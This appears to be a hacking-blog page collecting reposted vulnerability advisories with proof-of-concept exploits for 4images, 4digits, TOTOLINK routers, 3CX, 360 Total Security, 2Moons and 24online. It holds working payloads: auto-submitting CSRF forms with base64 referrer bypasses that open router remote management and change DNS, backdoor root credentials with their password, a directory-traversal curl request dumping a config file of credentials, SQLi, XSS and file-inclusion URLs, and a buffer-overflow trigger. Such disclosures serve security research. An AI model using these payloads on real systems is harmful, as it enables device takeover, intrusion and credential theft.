Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86380781

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/51774/info
  
4images is prone to multiple input-validation vulnerabilities including:
  
1. A cross-site scripting vulnerability.
2. An open-redirection vulnerability.
3. An SQL-injection vulnerability.
  
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  
4images 1.7.10 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/index.php?__csrf=931086345abbb83f9a70c87dc4719248& action=login&redirect=http://google.com&loginusername=admin&loginpassword=pass 
            
source: https://www.securityfocus.com/bid/51774/info

4images is prone to multiple input-validation vulnerabilities including:

1. A cross-site scripting vulnerability.
2. An open-redirection vulnerability.
3. An SQL-injection vulnerability.

An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

4images 1.7.10 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1' (SQL Injection) 
            
source: https://www.securityfocus.com/bid/51774/info
 
4images is prone to multiple input-validation vulnerabilities including:
 
1. A cross-site scripting vulnerability.
2. An open-redirection vulnerability.
3. An SQL-injection vulnerability.
 
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
 
4images 1.7.10 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1 (XSS) 
            
4digits 1.1.4 Local Buffer Overflow Privilege Escalation ( if setuid/setgid )

Discoverd by N_A , N_A [at] tutanota.com
Downloaded and tested upon Kali Linux

Vendor has been notified.


Description
-------------

4digits is a guess-the-number puzzle game. It's also called Bulls and Cows, and in China people simply call it Guess-the-Number. The game's objective is to guess a four-digit number in 8 times.

https://sourceforge.net/projects/fourdigits/


Vulnerability
--------------

4digits version 1.1.4 and possibly earlier versions suffer from a buffer overflow vulnerability where possible code execution can occur and privileges can be escalated if this is setuid/setgid.

The vulnerability is found within the 4digits-text binary version of the game.
An environment variable is not checked thoroughly before it is passed to the function save_score() when a user wins at the game. An attacker may be able to execute arbitary code:

4digits-text.c:

/* save current score in the score file */
void save_score(const int time_taken) {
    time_t tm = time(NULL);
    struct tm *today = localtime(&tm);
    char tmpbuffer[129];
    today = localtime(&tm);
    char appdata_dir[4096]; //XXX why _PC_PATH_MAX is only 4?  <----- The buffer we over flow
    const char *score_filename = "4digits.4digits.scores";
    strcpy(appdata_dir, getenv("HOME"));    <------ Collecting "HOME"
    strcat(appdata_dir, "/.4digits/");
    char *scorefile = (char*)malloc(strlen(appdata_dir) + strlen(score_filename) + 1);
    if(!scorefile)
        err_exit(_("Memory allocation error.\n"));
    strcpy(scorefile, appdata_dir);      <------ Vulnerability here
    strcat(scorefile, score_filename);


The save_score() function is called when the user successfully wins at the game and this is when the vulnerability becomes active, as per example below:

First, set the HOME variable as below

$ export HOME=`perl -e 'print"A"x5100'`

Then , load the game into GDB ( if you want to debug it in real time )

$ gdb 4digits-text
GNU gdb (Debian 7.10-1+b1) 7.10
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from 4digits-text...done.
(gdb) run


To activate the bug you must run the game and then win/guess the right number:


(gdb) run
Starting program: /home/N/4digits-1.1.4/4digits-text 
Input a 4-digit number:1234
2A0B       7 times left.
Input a 4-digit number:7934
1A1B       6 times left.
Input a 4-digit number:8235
3A0B       5 times left.
Input a 4-digit number:8236
3A0B       4 times left.
Input a 4-digit number:8239
3A0B       3 times left.
Input a 4-digit number:8237
4A0B       2 times left.
You win! :) Used 120 sec.

Program received signal SIGSEGV, Segmentation fault.
__strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50
50  ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S: No such file or directory.


(gdb) i r
eax            0x0  0
ecx            0x1  1
edx            0x5  5
ebx            0x13f6  5110
esp            0xbfffd424  0xbfffd424
ebp            0xbfffe4f8  0xbfffe4f8
esi            0x0  0
edi            0x41414141  1094795585
eip            0xb7e854b6  0xb7e854b6 <__strlen_sse2_bsf+22>
eflags         0x10287  [ CF PF SF IF RF ]
cs             0x73  115
ss             0x7b  123
ds             0x7b  123
es             0x7b  123
fs             0x0  0
gs             0x33  51


(gdb) backtrace
#0  __strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50
#1  0x08048f8f in save_score (time_taken=1094795585) at 4digits-text.c:183
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x41414141 in ?? ()
#14 0x41414141 in ?? ()
#15 0x41414141 in ?? ()
#16 0x41414141 in ?? ()
#17 0x41414141 in ?? ()
#18 0x41414141 in ?? ()
#19 0x41414141 in ?? ()
#20 0x41414141 in ?? ()
#21 0x41414141 in ?? ()
#22 0x41414141 in ?? ()


By N_A , N_A [at] tutanota.com
            
## Advisory Information

Title: 4 TOTOLINK router models vulnerable to CSRF and XSS attacks
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x01.txt
Blog URL: http://pierrekim.github.io/blog/2015-07-16-4-TOTOLINK-products-vulnerable-to-CSRF-and-XSS-attacks.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: Released, 0day
CVE: no current CVE



## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO
markets in South Korea.
TOTOLINK produces routers routers, wifi access points and network
devices. Their products are sold worldwide.



## Vulnerability Summary

TOTOLINK iPuppy, iPuppy3, N100RE and N200RE are wireless LAN routers.
Their current firmwares with default configuration are
vulnerable to CSRF-attacks and XSS attacks.
Since, the anti-CSRF protection is based on a static HTTP referrer
(RFC 1945), an attacker can take over
most of the configuration and settings using anyone inside the LAN of
the router. Owners are urged to
contact TOTOLINK, and activate authentication on this product
(disabled by default).

It affects (firmware come from totolink.net and from totolink.cn):

TOTOLINK iPuppy : firmware 1.2.1 (TOTOLINK iPuppy__V1.2.1.update)
TOTOLINK iPuppy3 : firmware 1.0.2 (TOTOLINK iPuppy3_V1.0.2.update)
TOTOLINK N100RE-V1 : firmware V1.1-B20140723-2-432-EN
(TOTOLINK-N100RE-IP04216-RT5350-SPI-1M8M-V1.1-B20140723-2-432-EN.update)
TOTOLINK N200RE : firmware V1.4-B20140724-2-457-EN
(TOTOLINK-N200RE-IP04220-MT7620-SPI-1M8M-V1.4-B20140724-2-457-EN.update)



## Details - CSRF

The HTTP interface allows to edit the configuration. This interface is
vulnerable to CSRF.

Configuration and settings can be modified with CSRF attacks:
Activate the remote control management
Change the DNS configuration
Update the firmware
Change the Wifi Configuration
Create TCP redirections to the LAN
and more...


Example of forms exploiting the CSRF:


o Activating the remote control management on port 31337/tcp listening
on the WAN interface.

<html>
<head>
<script>
function s() {
document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.1.1/do_cmd.htm">
<input type="hidden" name="CMD" value="SYS">
<input type="hidden" name="GO" value="firewallconf_accesslist.html">
<input type="hidden" name="nowait" value="1">
<input type="hidden" name="SET0" value="17367296=31337">
<input type="hidden" name="SET1" value="17236224=1">
</form>
</body>
</html>


o Changing the DNS configuration to 0.2.0.7 and 1.2.0.1:

<html>
<head>
<script>
function s() {
document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.1.1/do_cmd.htm">
<input type="hidden" name="CMD" value="WAN">
<input type="hidden" name="GO" value="netconf_wansetup.html">
<input type="hidden" name="SET0" value="50397440=2">
<input type="hidden" name="SET1" value="50856960=64-E5-99-AA-AA-AA">
<input type="hidden" name="SET2" value="235077888=1">
<input type="hidden" name="SET3" value="235012865=0.2.0.7">
<input type="hidden" name="SET4" value="235012866=1.2.0.1">
<input type="hidden" name="SET5" value="51118336=0">
<input type="hidden" name="SET6" value="51839232=1">
<input type="hidden" name="SET7" value="51511552=1500">
<input type="hidden" name="SET8" value="117834240=">
<input type="hidden" name="SET9" value="117703168=">
<input type="hidden" name="SET10" value="117637376=1492">
<input type="hidden" name="SET11" value="51446016=1500">
<input type="hidden" name="SET12" value="50463488=192.168.1.1">
<input type="hidden" name="SET13" value="50529024=255.255.255.0">
<input type="hidden" name="SET14" value="50594560=192.168.1.254">
</form>
</body>
</html>


The variable GO is an open redirect. Any URL like
http://www.google.com/ for instance can be used.
The variable GO is also vulnerable to XSS. It's out of scope in this advisory.


To bypass the protection (which checks the refer), you can, for
example, base64 the form and include
it in the webpage.
The refer will be empty and the CSRF will be accepted by the device:



o activate_admin_wan_csrf_bypass.html:

<html>
<head>
<meta http-equiv="Refresh"
content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjEuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iU1lTIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJmaXJld2FsbGNvbmZfYWNjZXNzbGlzdC5odG1sIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibm93YWl0IiB2YWx1ZT0iMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDAiIHZhbHVlPSIxNzM2NzI5Nj0zMTMzNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSIxNzIzNjIyND0xIj4KPC9mb3JtPgo8L2JvZHk+CjwvaHRtbD4K">
</head>
<body>
</body>
</html>


Visiting activate_admin_wan_csrf_bypass.html in a remote location will activate
the remote management interface on port 31337/TCP.

You can test it through
http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-change_dns_csrf_bypass.html



o change_dns_csrf_bypass.html:

<html>
<head>
<meta http-equiv="Refresh"
content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjEuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iV0FOIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJuZXRjb25mX3dhbnNldHVwLmh0bWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQwIiB2YWx1ZT0iNTAzOTc0NDA9MiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSI1MDg1Njk2MD02NC1FNS05OS1BQS1BQS1BQSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDIiIHZhbHVlPSIyMzUwNzc4ODg9MSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDMiIHZhbHVlPSIyMzUwMTI4NjU9MC4yLjAuNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDQiIHZhbHVlPSIyMzUwMTI4NjY9MS4yLjAuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDUiIHZhbHVlPSI1MTExODMzNj0wIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUNiIgdmFsdWU9IjUxODM5MjMyPTEiPgo8aW5wdXQgdHlwZT0iaGlkZGVu
 IiBuYW1lPSJTRVQ3IiB2YWx1ZT0iNTE1MTE1NTI9MTUwMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDgiIHZhbHVlPSIxMTc4MzQyNDA9Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUOSIgdmFsdWU9IjExNzcwMzE2OD0iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQxMCIgdmFsdWU9IjExNzYzNzM3Nj0xNDkyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTEiIHZhbHVlPSI1MTQ0NjAxNj0xNTAwIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTIiIHZhbHVlPSI1MDQ2MzQ4OD0xOTIuMTY4LjEuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEzIiB2YWx1ZT0iNTA1MjkwMjQ9MjU1LjI1NS4yNTUuMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDE0IiB2YWx1ZT0iNTA1OTQ1NjA9MTkyLjE2OC4xLjI1NCI+CjwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cg==">
</head>
<body>
</body>
</html>


Visiting activate_admin_wan_csrf_bypass.html in a remote location will
change the DNS servers
provided by the TOTOLINK device in the LAN.

You can test it through
http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-activate_admin_wan_csrf_bypass.html



## Details - stored XSS and fun

There is a stored XSS, which can be injected using UPNP from the LAN,
without authentication:

upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
Argument Name:  NewPortMappingDescription
Data Type:      string
Allowed Values: []
Set NewPortMappingDescription value to: <script>alert("XSS");</script>

Required argument:
Argument Name:  NewLeaseDuration
Data Type:      ui4
Allowed Values: []
Set NewLeaseDuration value to: 0

Required argument:
Argument Name:  NewInternalClient
Data Type:      string
Allowed Values: []
Set NewInternalClient value to: <script>alert("XSS");</script>

Required argument:
Argument Name:  NewEnabled
Data Type:      boolean
Allowed Values: []
Set NewEnabled value to: 1

Required argument:
Argument Name:  NewExternalPort
Data Type:      ui2
Allowed Values: []
Set NewExternalPort value to: 80

Required argument:
Argument Name:  NewRemoteHost
Data Type:      string
Allowed Values: []
Set NewRemoteHost value to: <script>alert("XSS");</script>

Required argument:
Argument Name:  NewProtocol
Data Type:      string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP

Required argument:
Argument Name:  NewInternalPort
Data Type:      ui2
Allowed Values: []
Set NewInternalPort value to: 80


upnp>


The UPNP webpage in the administration area
(http://192.168.0.1/popup_upnp_portmap.html) will show:

[...]
<tr>
<td class=item_td>TCP</td>
<td class=item_td>21331</td>
<td class=item_td><script>alert("XSS")<script>alert("XSS");</script>:28777</td>
<td class=item_td><script>alert("XSS");</script></td>
</tr>
[...]


- From my research, there are some bits overflapping with others,
resulting in showing funny ports
and truncating input data. A remote DoS against the upnpd process
seems to be easily done.

Gaining Remote Code Execution by UPNP exploitation is again left as a
exercise for the reader.



## Vendor Response

Due to "un-ethical code" found in TOTOLINK products (= backdoors found
in new TOTOLINK devices), TOTOLINK was not contacted in regard of this
case.



## Report Timeline

* Apr 20, 2015: Vulnerabilities found by Pierre Kim in ipTIME devices.
* Jun 20, 2015: Vulnerabilities confirmed with reliable PoCs.
* Jun 25, 2015: Vulnerabilities found in TOTOLINK products by looking
for similar ipTIME products.
* Jul 16, 2015: A public advisory is sent to security mailing lists.



## Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).



## Greetings

Big thanks to Alexandre Torres.



## References

https://pierrekim.github.io/advisories/2015-totolink-0x01.txt



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
            
## Advisory Information

Title: Backdoor credentials found in 4 TOTOLINK router models
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x03.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-credentials-found-in-4-TOTOLINK-products.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE



## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO
markets in South Korea.
TOTOLINK produces routers routers, wifi access points and network
devices. Their products are sold worldwide.



## Vulnerabilities Summary

Backdoor credentials are present in several TOTOLINK products.

It affects 4 TOTOLINK products (firmwares come from totolink.net and
from totolink.cn):

G150R-V1 : last firmware 1.0.0-B20150330
(TOTOLINK-G150R-V1.0.0-B20150330.1734.web)
G300R-V1 : last firmware 1.0.0-B20150330
(TOTOLINK-G300R-V1.0.0-B20150330.1816.web)
N150RH-V1 : last firmware 1.0.0-B20131219
(TOTOLINK-N150RH-V1.0.0-B20131219.1014.web)
N301RT-V1 : last firmware 1.0.0 (TOTOLINK N301RT_V1.0.0.web)

It allows an attacker in the LAN to connect to the device using telnet
with 2 different accounts: root and 'onlime_r' which gives with root
privileges.



## Details - G150R-V1 and G300R-V1

The init.d script executes these commands when the router starts:

[...]
cp /etc/passwd_orig /var/passwd
cp /etc/group_orig /var/group
telnetd&
[...]


The /etc/passwd_orig contains backdoor credentials:

root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null

The corresponding passwords are:

root:12345
onlime_r:12345


## Details - N150RH-V1 and N301RT

The init.d script executes these commands when the router starts:

[...]
#start telnetd
telnetd&
[...]

The binary /bin/sysconf executes these commands when the router starts:

system("cp /etc/passwd.org /var/passwd 2> /dev/null")


The /etc/passwd.org contains backdoor credentials:

root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null

The corresponding passwords are:

root:12345
onlime_r:12345



## Vendor Response

TOTOLINK was not contacted in regard of this case.



## Report Timeline

* Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares.
* Jun 26, 2015: working PoCs.
* Jul 16, 2015: A public advisory is sent to security mailing lists.



## Credit

These backdoor credentials were found Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/advisories/2015-totolink-0x03.txt



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
            
Title:
======
3CX Phone System - Authenticated Directory Traversal

Author:
=======
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
=======
CVE-2017-15359

Risk Information:
=================
CVSS Base Score: 6.8
CVSS Vector: CVSS3#AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Timeline:
=========
2017-08-08 Vulnerability discovered
2017-08-10 Asked for security contact
2017-08-11 Send details to the vendor
2017-09-04 Vendor has confirmed the vulnerability, will be fixed in the next release
2017-10-16 Public disclosure

Affected Products:
==================
3CX Phone System 15.5.3554.1 (Debian based installation)

Vendor Homepage:
================
https://www.3cx.com/phone-system/download-links/

Details:
========
In the 3CX Phone System 15.5.3554.1, the Management Console typically listens to port 5001 and is prone to a directory traversal attack:
"/api/RecordingList/DownloadRecord?file=" and "/api/SupportInfo?file=" are the vulnerable parameters. An attacker must be authenticated to exploit
this issue to access sensitive information to aid in subsequent attacks.

The vulnerabilities were found during a penetration test.

Proof of Concept:
=================

~$ curl -i -k --cookie ".AspNetCore.Cookies=CfDJ8PTIw(...)" https://192.168.0.1:5001/api/SupportInfo?file=/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Aug 2017 13:05:16 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-3CX-Version: 15.5.3554.1
Content-Disposition: attachment; filename="/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini"; filename*=UTF-8''%2Fvar%2Flib%2F3cxpbx%2FInstance1%2FBin%2F3CXPhoneSystem.ini
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15768000

[General]
;connection point to call manager
;used by:
;a) call manager initializes own listener before it connects to configuration server.
;b) components which are working directly with call manager
;MUST NOT be used by components which make connection to configuration server.
;They MUST use CM_API_IP, CM_API_PORT, CM_API_USER and CM_API_PASSWORD paramaeters to make direct connection to CallManagerAPI
pbxSLNIC=127.0.0.1
cmPort=5482
pbxuser=instance_Instance158792
pbxpass=REMOVED
AppPath=/var/lib/3cxpbx/Instance1
AppDataPath=/var/lib/3cxpbx/Instance1
Tenant=Instance1

[ConfService]
;connection point to configuration server for components
confNIC=127.0.0.1
ConfPort=5485
confUser=cfguser_default
confPass=REMOVED

[CfgServerProfile]
;configuration server connection to database
;exclusively used by configuration server
DBHost=127.0.0.1
DBPort=5432
MasterDBUser=phonesystem
MasterDBPassword=REMOVED
MasterTable=phonesystem_mastertable
DefFile=Objects.cls

[QMDatabase]
DBHost=127.0.0.1
DBPort=5432
DBName=database_single
dbUser=logsreader_single
dbPassword=REMOVED

[MIME_TYPES]
MESSAGE=x-chat/control

Fix:
====
Vendor has confirmed the vulnerability, will be fixed in the next release.

            
## Vulnerability Summary
The following advisory describes an Privileged Escalation vulnerability found in 360 Total Security.

360 Total Security offers your PC complete protection from Viruses, Trojans and other emerging threats.

Whether you are shopping online, downloading files or chatting with your friends you can be sure that 360 Total Security is there to keep you safe and your computer optimized. Clean-up utility is just one click away to keep your PC in optimal condition.

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
The vendor has released patches to address this vulnerability and has only provided these details in response to our query on the status: “We will release this patch on 7/7”

CVE: CVE-2017-12653

## Vulnerability Details
When 360 Total security is load on Windows machine the binaries try to load a DLL (Shcore.dll) in order to display correctly in High DPI displays.

360 Total security install Shcore.dll on Windows 8.1 and above, but not in previous versions (for example – Windows 7 and XP). For this reason, the administration components of 360 Total Security try to find and load this DLL in Windows 7 too, where it does not exist.

Placing a DLL named Shcore.dll in a directory listed in the PATH system variable will load this in the memory space of 360 software. Loading the DLL inside a 360 administration process gives us privileges of administrator.

## Proof of Concept

Install 360 Total Security and optionally update to the latest version
Log into a Windows 7 and create a DLL planting environment
The easiest way is to install Python for Windows
“Add Python to the path” in the installer (most common install option)
Log in as a totally unprivileged user and copy the DLL renamed to Shcore.dll to C:\Python27 (in case you used Python as the DLL planting vector)
Now there are two options in order to trigger the vulnerability
In case the administrator is not logged in, log in as administrator (fastest way)
If the administrator is already logged in – it will take several minutes. The reason is, 360 launches periodically processes in the background. Any of them will trigger the vulnerability and execute the code. Test have shown this is a matter of minutes.
            
source: https://www.securityfocus.com/bid/50046/info

2Moons is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

2Moons 1.4 is vulnerable; other versions may also be affected.

http://www.example.com/2Moons/CombatReport.php?RID=[EV!L]
http://www.example.com/2Moons/includes/common.php?UNI=[EV!L]
http://www.example.com/2Moons/includes/classes/class.FlyingFleetHandler.php?MissionsPattern[CurrentFleet[fleet_mission]]=[EV!L]
http://www.example.com/2Moons/includes/classes/class.FlyingFleetHandler.php?CurrentFleet[fleet_mission]]=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?Lang=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?File=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?File=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?LANGUAGE=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?File=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Records.php?File=[EV!L]
http://www.example.com/2Moons/includes/pages/ShowTopKB.php?ReportID=[EV!L]
http://www.example.com/2Moons/includes/libs/Smarty/Smarty.class.php?file=[EV!L]
http://www.example.com/2Moons/includes/pages/adm/ShowModVersionPage.php?File=[EV!L]
http://www.example.com/2Moons/includes/libs/Smarty/sysplugins/smarty_internal_resource_php.php?_smarty_template=[EV!L]
http://www.example.com/2Moons/includes/libs/Smarty/sysplugins/smarty_internal_templatecompilerbase.php?file=[EV!L] 
            
# Title: 2Moons - Multiple Vulnerabilities
# Date: 08-07-2015
# Author: bRpsd (skype: vegnox)
# Vendor: 2Moons
# Vendor HomePage: http://2moons.cc/
# CMS Download: https://github.com/jkroepke/2Moons
# Google Dork: intext:Powered by 2Moons 2009-2013
# Affected Versions: All Current Versions.

-----------------------------------------------------------------------------------------------------------------------------------------------
#1 SQL Injection:
Page: index.php?action=register
Parameter: externalAuth[method]

## Proof Of Concept ##

HTTP REQUEST:

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pentest/scripts/2Moons-master/index.php?page=register
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
mode=send&externalAuth%5Baccount%5D=0&externalAuth%5Bmethod%5D=1'&referralID=0&uni=1&username=&password=&passwordReplay=&email=&emailReplay=&lang=en



RESPONSE (200):
MySQL Error :
INSERT INTO uni1_users_valid SET `userName` = 'ttttttttt0', `validationKey` = '3126764a7b1875fc95c59ab0e4524818', `password` = '$2a$09$YdlOfJ0DB67Xc4IUuR9yi.ocwBEhJJItwRGqVWzFgbjSTAS.YiAyG', `email` = 'DDDDDDDDD@cc.com', `date` = '1437990463', `ip` = '::1', `language` = 'en', `universe` = 1, `referralID` = 0, `externalAuthUID` = '0', `externalAuthMethod` = '1'';



-----------------------------------------------------------------------------------------------------------------------------------------------
#2 Reflected Cross Site Scripting :

HTTP REQUEST:

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pentest/scripts/2Moons-master/index.php?page=register
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
mode=send&externalAuth%5Baccount%5D=0&externalAuth%5Bmethod%5D=1'"></><script>alert('test')</script>&referralID=0&uni=1&username=&password=&passwordReplay=&email=&emailReplay=&lang=en



RESPONSE (200):
MySQL Error :
INSERT INTO uni1_users_valid SET `userName` = 'ttttttttt0', `validationKey` = '3126764a7b1875fc95c59ab0e4524818', `password` = '$2a$09$YdlOfJ0DB67Xc4IUuR9yi.ocwBEhJJItwRGqVWzFgbjSTAS.YiAyG', `email` = 'DDDDDDDDD@cc.com', `date` = '1437990463', `ip` = '::1', `language` = 'en', `universe` = 1, `referralID` = 0, `externalAuthUID` = '0', `externalAuthMethod` = '1'';(XSS HERE)


-----------------------------------------------------------------------------------------------------------------------------------------------

#3 Arbitrary File Download :
Some Admins Forget To Delete This File Which Includes DB Information.
http://localhost/2Moons-master.zip




## Solutions ## :
** Dont keep any installation files, erase them ** 
** Remove the externalAuthMethod Permanently **
** No solution yet from vendor **
//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\
//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\ 		 	   		  
            
# Exploit Title: SQL Injection In 24 Online Billing API
# Date: 03/07/2016
# Exploit Author: Rahul Raz
# Vendor Homepage: http://24onlinebilling.com
# Software Name:24online Model SMS_2500i
# Version: 8.3.6 build 9.0
# Tested on: Ubuntu Linux

Potentially others versions older than this are vulnerable too.

Vulnerability type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The invoiceid GET parameter on <base url>/24online/webpages/myaccount/usersessionsummary.jsp in not filtered properly and leads to SQL Injection

Authentication Required: Yes

